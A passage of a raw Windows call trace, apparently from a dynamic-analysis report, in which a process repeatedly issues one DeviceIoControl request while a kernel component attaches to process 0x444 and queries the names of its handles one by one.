dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x82, lpOverlapped=0x0) returned 1 [0136.914] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.914] PsAcquireProcessExitSynchronization () returned 0x0 [0136.914] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880054735d0) [0136.914] ObReferenceObjectByHandle (in: Handle=0x614, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa80032b7610, HandleInformation=0x0) returned 0x0 [0136.914] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.914] PsReleaseProcessExitSynchronization () returned 0x2 [0136.914] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x189 [0136.914] ObQueryNameString (in: Object=0xfffffa80032b7610, ObjectNameInfo=0xfffffa80019fd044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa80019fd044, ReturnLength=0xfffff88005473550) returned 0x0 [0136.914] ObfDereferenceObject (Object=0xfffffa80032b7610) returned 0x1 [0136.914] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.914] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0136.914] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0136.914] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0136.914] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.914] PsAcquireProcessExitSynchronization () returned 0x0 [0136.914] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880054735d0) [0136.914] ObReferenceObjectByHandle (in: Handle=0x62c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffff8a001b1e840, HandleInformation=0x0) returned 0x0 [0136.914] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.914] PsReleaseProcessExitSynchronization () returned 0x2 [0136.914] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x189 [0136.915] ObQueryNameString (in: Object=0xfffff8a001b1e840, ObjectNameInfo=0xfffffa80019fe044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa80019fe044, ReturnLength=0xfffff88005473550) returned 0x0 [0136.915] ObfDereferenceObject (Object=0xfffff8a001b1e840) returned 0x2 [0136.915] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.915] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0136.915] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0136.915] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x88, lpOverlapped=0x0) returned 1 [0136.915] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.915] PsAcquireProcessExitSynchronization () returned 0x0 [0136.915] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880054735d0) [0136.915] ObReferenceObjectByHandle (in: Handle=0x66c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa80035a59d0, HandleInformation=0x0) returned 0x0 [0136.915] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.915] PsReleaseProcessExitSynchronization () returned 0x2 [0136.915] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x189 [0136.915] ObQueryNameString (in: Object=0xfffffa80035a59d0, ObjectNameInfo=0xfffffa80019ff044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa80019ff044, ReturnLength=0xfffff88005473550) returned 0x0 [0136.915] ObfDereferenceObject (Object=0xfffffa80035a59d0) returned 0x10 [0136.915] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.915] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0136.915] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0136.915] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x112, lpOverlapped=0x0) returned 1 [0136.915] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.915] PsAcquireProcessExitSynchronization () returned 0x0 [0136.915] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880054735d0) [0136.915] ObReferenceObjectByHandle (in: Handle=0x67c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8003570070, HandleInformation=0x0) returned 0x0 [0136.915] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.915] PsReleaseProcessExitSynchronization () returned 0x2 [0136.915] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x189 [0136.915] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001a01044, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa8001a01044, ReturnLength=0xfffff88005473508) returned 0x0 [0136.915] ObfDereferenceObject (Object=0xfffffa8003570070) returned 0x1 [0136.915] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.915] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0136.915] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0136.915] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x82, lpOverlapped=0x0) returned 1 [0136.915] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.915] PsAcquireProcessExitSynchronization () returned 0x0 [0136.916] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880054735d0) [0136.916] ObReferenceObjectByHandle (in: Handle=0x694, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8003586f20, HandleInformation=0x0) returned 0x0 [0136.916] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.916] PsReleaseProcessExitSynchronization () returned 0x2 [0136.916] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x189 [0136.916] ObQueryNameString (in: Object=0xfffffa8003586f20, ObjectNameInfo=0xfffffa8001a06044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8001a06044, ReturnLength=0xfffff88005473550) returned 0x0 [0136.916] ObfDereferenceObject (Object=0xfffffa8003586f20) returned 0x1 [0136.916] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.916] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0136.916] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0136.916] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x128, lpOverlapped=0x0) returned 1 [0136.916] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.916] PsAcquireProcessExitSynchronization () returned 0x0 [0136.916] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880054735d0) [0136.916] ObReferenceObjectByHandle (in: Handle=0x6e0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffff8a00207bc00, HandleInformation=0x0) returned 0x0 [0136.916] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.916] PsReleaseProcessExitSynchronization () returned 0x2 [0136.916] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x189 [0136.916] ObQueryNameString (in: Object=0xfffff8a00207bc00, ObjectNameInfo=0xfffffa8001a07044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8001a07044, ReturnLength=0xfffff88005473550) returned 0x0 [0136.916] ObfDereferenceObject (Object=0xfffff8a00207bc00) returned 0x2 [0136.916] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.916] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0136.916] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0136.916] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0xf2, lpOverlapped=0x0) returned 1 [0136.916] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.916] PsAcquireProcessExitSynchronization () returned 0x0 [0136.916] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880054735d0) [0136.916] ObReferenceObjectByHandle (in: Handle=0x6f0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffff8a002092c20, HandleInformation=0x0) returned 0x0 [0136.916] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.916] PsReleaseProcessExitSynchronization () returned 0x2 [0136.916] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x189 [0136.916] ObQueryNameString (in: Object=0xfffff8a002092c20, ObjectNameInfo=0xfffffa8001a09044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8001a09044, ReturnLength=0xfffff88005473550) returned 0x0 [0136.916] ObfDereferenceObject (Object=0xfffff8a002092c20) returned 0x2 [0136.916] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.917] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0136.917] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0136.917] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x138, lpOverlapped=0x0) returned 1 [0136.917] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.917] PsAcquireProcessExitSynchronization () returned 0x0 [0136.917] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880054735d0) [0136.917] ObReferenceObjectByHandle (in: Handle=0x718, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffff8a0020ff7e0, HandleInformation=0x0) returned 0x0 [0136.917] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.917] PsReleaseProcessExitSynchronization () returned 0x2 [0136.917] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x189 [0136.917] ObQueryNameString (in: Object=0xfffff8a0020ff7e0, ObjectNameInfo=0xfffffa8001a0c044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8001a0c044, ReturnLength=0xfffff88005473550) returned 0x0 [0136.917] ObfDereferenceObject (Object=0xfffff8a0020ff7e0) returned 0x2 [0136.917] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.917] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0136.917] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0136.917] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0xd6, lpOverlapped=0x0) returned 1 [0136.917] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.917] PsAcquireProcessExitSynchronization () returned 0x0 [0136.917] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880054735d0) [0136.917] ObReferenceObjectByHandle (in: Handle=0x720, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa800209cd00, HandleInformation=0x0) returned 0x0 [0136.917] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.917] PsReleaseProcessExitSynchronization () returned 0x2 [0136.917] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x189 [0136.917] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001a0e044, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa8001a0e044, ReturnLength=0xfffff88005473508) returned 0x0 [0136.917] ObfDereferenceObject (Object=0xfffffa800209cd00) returned 0x11 [0136.917] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.917] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0136.917] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0136.917] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0xea, lpOverlapped=0x0) returned 1 [0136.917] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.917] PsAcquireProcessExitSynchronization () returned 0x0 [0136.917] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880054735d0) [0136.917] ObReferenceObjectByHandle (in: Handle=0x728, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa80024238a0, HandleInformation=0x0) returned 0x0 [0136.918] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.918] PsReleaseProcessExitSynchronization () returned 0x2 [0136.918] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x189 [0136.918] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001a10044, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa8001a10044, ReturnLength=0xfffff88005473508) returned 0x0 [0136.918] ObfDereferenceObject (Object=0xfffffa80024238a0) returned 0x1 [0136.918] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.918] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0136.918] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0136.918] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x11c, lpOverlapped=0x0) returned 1 [0136.918] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.918] PsAcquireProcessExitSynchronization () returned 0x0 [0136.918] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880054735d0) [0136.918] ObReferenceObjectByHandle (in: Handle=0x73c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa80020beab0, HandleInformation=0x0) returned 0x0 [0136.918] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.918] PsReleaseProcessExitSynchronization () returned 0x2 [0136.918] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x189 [0136.918] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001fc2044, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa8001fc2044, ReturnLength=0xfffff88005473508) returned 0x0 [0136.918] ObfDereferenceObject (Object=0xfffffa80020beab0) returned 0x1 [0136.918] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.918] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0136.918] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0136.918] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x106, lpOverlapped=0x0) returned 1 [0136.918] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.918] PsAcquireProcessExitSynchronization () returned 0x0 [0136.918] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880054735d0) [0136.918] ObReferenceObjectByHandle (in: Handle=0x74c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffff8a0020d4a50, HandleInformation=0x0) returned 0x0 [0136.918] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.918] PsReleaseProcessExitSynchronization () returned 0x2 [0136.918] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x189 [0136.918] ObQueryNameString (in: Object=0xfffff8a0020d4a50, ObjectNameInfo=0xfffffa800240c744, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa800240c744, ReturnLength=0xfffff88005473550) returned 0x0 [0136.918] ObfDereferenceObject (Object=0xfffff8a0020d4a50) returned 0x2 [0136.918] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.918] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0136.918] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0136.919] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x112, lpOverlapped=0x0) returned 1 [0136.919] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.919] PsAcquireProcessExitSynchronization () returned 0x0 [0136.919] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880054735d0) [0136.919] ObReferenceObjectByHandle (in: Handle=0x7b0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8002f8a3b0, HandleInformation=0x0) returned 0x0 [0136.919] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.919] PsReleaseProcessExitSynchronization () returned 0x2 [0136.919] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x189 [0136.919] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800390e204, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa800390e204, ReturnLength=0xfffff88005473508) returned 0x0 [0136.919] ObfDereferenceObject (Object=0xfffffa8002f8a3b0) returned 0x1 [0136.919] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.919] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0136.919] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0136.919] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x34, lpOverlapped=0x0) returned 1 [0136.919] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.919] PsAcquireProcessExitSynchronization () returned 0x0 [0136.919] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880054735d0) [0136.919] ObReferenceObjectByHandle (in: Handle=0x7d4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8003555b30, HandleInformation=0x0) returned 0x0 [0136.919] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.919] PsReleaseProcessExitSynchronization () returned 0x2 [0136.919] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x189 [0136.919] ObQueryNameString (in: Object=0xfffffa8003555b30, ObjectNameInfo=0xfffffa800231d7c4, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa800231d7c4, ReturnLength=0xfffff88005473550) returned 0x0 [0136.919] ObfDereferenceObject (Object=0xfffffa8003555b30) returned 0x1 [0136.919] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.919] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0136.919] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0136.919] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x112, lpOverlapped=0x0) returned 1 [0136.919] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.919] PsAcquireProcessExitSynchronization () returned 0x0 [0136.919] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880054735d0) [0136.919] ObReferenceObjectByHandle (in: Handle=0x7e0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8003b34860, HandleInformation=0x0) returned 0x0 [0136.919] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.919] PsReleaseProcessExitSynchronization () returned 0x2 [0136.920] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x189 [0136.920] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800208f044, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa800208f044, ReturnLength=0xfffff88005473508) returned 0x0 [0136.920] ObfDereferenceObject (Object=0xfffffa8003b34860) returned 0x1 [0136.920] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.920] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0136.920] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0136.920] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0xb0, lpOverlapped=0x0) returned 1 [0136.920] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.920] PsAcquireProcessExitSynchronization () returned 0x0 [0136.920] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880054735d0) [0136.920] ObReferenceObjectByHandle (in: Handle=0x7f8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffff8a00196d800, HandleInformation=0x0) returned 0x0 [0136.920] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.920] PsReleaseProcessExitSynchronization () returned 0x2 [0136.920] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x189 